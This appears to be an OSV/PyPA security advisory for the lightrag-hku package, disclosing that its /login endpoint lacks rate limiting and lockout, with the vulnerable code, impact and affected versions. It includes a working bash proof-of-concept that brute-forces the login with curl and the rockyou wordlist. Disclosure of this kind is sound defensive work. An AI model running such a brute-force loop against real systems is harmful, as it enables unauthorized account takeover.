PYSEC-2026-4062

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Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/lightrag-hku/PYSEC-2026-4062.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-4062
Aliases
Published
2026-10-01T16:38:37Z
Modified
2026-10-01T17:45:05Z
Severity
  • 9.1 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N CVSS Calculator
Summary
lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks
Details

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

References

Affected packages

PyPI / lightrag-hku

Package

Name
lightrag-hku
View open source insights on deps.dev
Purl
pkg:pypi/lightrag-hku

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.5.5

Affected versions

0.*
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
1.*
1.0.0
1.0.1
1.0.3
1.0.5
1.0.6
1.0.8
1.0.9
1.1.0
1.1.1
1.1.2
1.1.3
1.1.4
1.1.5
1.1.6
1.1.7
1.2.1
1.2.2
1.2.3
1.2.5
1.2.6
1.3.0
1.3.1
1.3.2
1.3.3
1.3.4
1.3.5
1.3.6
1.3.7
1.3.8
1.3.9
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6
1.4.7
1.4.8rc4
1.4.8rc6
1.4.8rc7
1.4.8rc8
1.4.8rc9
1.4.8.1
1.4.8.2
1.4.9rc1
1.4.9rc2
1.4.9rc3
1.4.9rc4
1.4.9
1.4.9.1
1.4.9.2
1.4.9.3
1.4.9.4rc1
1.4.9.4
1.4.9.5
1.4.9.6
1.4.9.7
1.4.9.8
1.4.9.9
1.4.9.10
1.4.9.11
1.4.10
1.4.11rc2
1.4.11
1.4.12rc1
1.4.12
1.4.13rc1
1.4.13
1.4.14
1.4.15
1.4.16
1.5.0rc1
1.5.0rc2
1.5.0rc3
1.5.0
1.5.1
1.5.2
1.5.3
1.5.4
1.5.5rc1

Database specific

source 
"https://github.com/pypa/advisory-database/blob/main/vulns/lightrag-hku/PYSEC-2026-4062.yaml"